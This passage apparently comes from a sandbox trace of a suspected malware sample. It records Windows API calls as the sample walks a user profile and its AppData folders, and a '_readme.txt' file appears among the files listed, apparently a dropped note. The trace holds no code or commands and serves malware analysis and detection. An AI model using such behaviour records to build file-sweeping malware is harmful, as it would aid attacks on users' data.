dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0111.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0111.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c320 [0111.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0111.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c320 | out: hHeap=0x5010000) returned 1 [0111.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0111.653] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0111.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d6b0 [0111.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d600 [0111.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d4a0 [0111.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d600 | out: hHeap=0x5010000) returned 1 [0111.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d6b0 | out: hHeap=0x5010000) returned 1 [0111.653] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb98dc950, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xb98dc950, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0111.654] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb98b67f0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0111.654] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0111.654] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0111.654] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0111.654] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0111.654] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0111.654] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9c1c6700, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9c1c6700, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0111.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d6b0 [0111.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d600 [0111.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x214) returned 0x7a5d550 [0111.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d448 [0111.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0111.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d810 [0111.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d868 [0111.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d8c0 [0111.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c320 [0111.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0111.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0111.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d918 [0111.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x7b15498 [0111.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d970 [0111.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x7b15500 [0111.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d9c8 [0111.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d4f8 | out: hHeap=0x5010000) returned 1 [0111.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b152f8 | out: hHeap=0x5010000) returned 1 [0111.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d708 | out: hHeap=0x5010000) returned 1 [0111.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d760 | out: hHeap=0x5010000) returned 1 [0111.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b15360 | out: hHeap=0x5010000) returned 1 [0111.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b153c8 | out: hHeap=0x5010000) returned 1 [0111.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b15430 | out: hHeap=0x5010000) returned 1 [0111.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d7b8 | out: hHeap=0x5010000) returned 1 [0111.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0111.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d658 | out: hHeap=0x5010000) returned 1 [0111.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0111.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d4a0 | out: hHeap=0x5010000) returned 1 [0111.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a617c0 | out: hHeap=0x5010000) returned 1 [0111.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d4a0 [0111.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d600 | out: hHeap=0x5010000) returned 1 [0111.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d6b0 | out: hHeap=0x5010000) returned 1 [0111.655] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0111.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d6b0 [0111.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x76) returned 0x50fb750 [0111.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d6b0 | out: hHeap=0x5010000) returned 1 [0111.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0111.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0111.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0111.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50fb750 | out: hHeap=0x5010000) returned 1 [0111.655] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0111.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d6b0 [0111.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d600 [0111.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d658 [0111.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d600 | out: hHeap=0x5010000) returned 1 [0111.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d6b0 | out: hHeap=0x5010000) returned 1 [0111.655] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0111.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0111.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x7b15430 [0111.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x7b153c8 [0111.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b15430 | out: hHeap=0x5010000) returned 1 [0111.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0111.655] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0111.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d6b0 [0111.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d600 [0111.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d7b8 [0111.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d600 | out: hHeap=0x5010000) returned 1 [0111.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d6b0 | out: hHeap=0x5010000) returned 1 [0111.656] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0111.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d6b0 [0111.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d600 [0111.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d760 [0111.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d600 | out: hHeap=0x5010000) returned 1 [0111.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d6b0 | out: hHeap=0x5010000) returned 1 [0111.656] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0111.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0111.656] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0111.656] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9c0e1ec0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9c0e1ec0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0111.656] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdaf043c0, ftCreationTime.dwHighDateTime=0x1d55a45, ftLastAccessTime.dwLowDateTime=0xdaf043c0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xdaf043c0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0111.656] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdaf043c0, ftCreationTime.dwHighDateTime=0x1d55a45, ftLastAccessTime.dwLowDateTime=0xdaf043c0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xdaf043c0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0111.656] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e48 | out: hHeap=0x5010000) returned 1 [0111.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0111.656] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.656] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.656] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.656] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.656] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.656] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0111.656] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.656] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.657] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.657] PathFindFileNameW (pszPath="") returned="" [0111.657] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d7b8 | out: hHeap=0x5010000) returned 1 [0111.657] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.657] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb2f53010, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xb2f53010, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0111.657] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0111.657] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9c2129c0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9c2129c0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0111.657] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9c2129c0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9c2129c0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0111.657] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d760 | out: hHeap=0x5010000) returned 1 [0111.657] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.657] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\") returned="Application Data\\" [0111.657] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.657] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.657] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.657] PathFindFileNameW (pszPath="") returned="" [0111.657] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9c2129c0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9c2129c0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0xffffffff [0111.658] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48150 | out: hHeap=0x5010000) returned 1 [0111.658] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.658] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0111.658] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 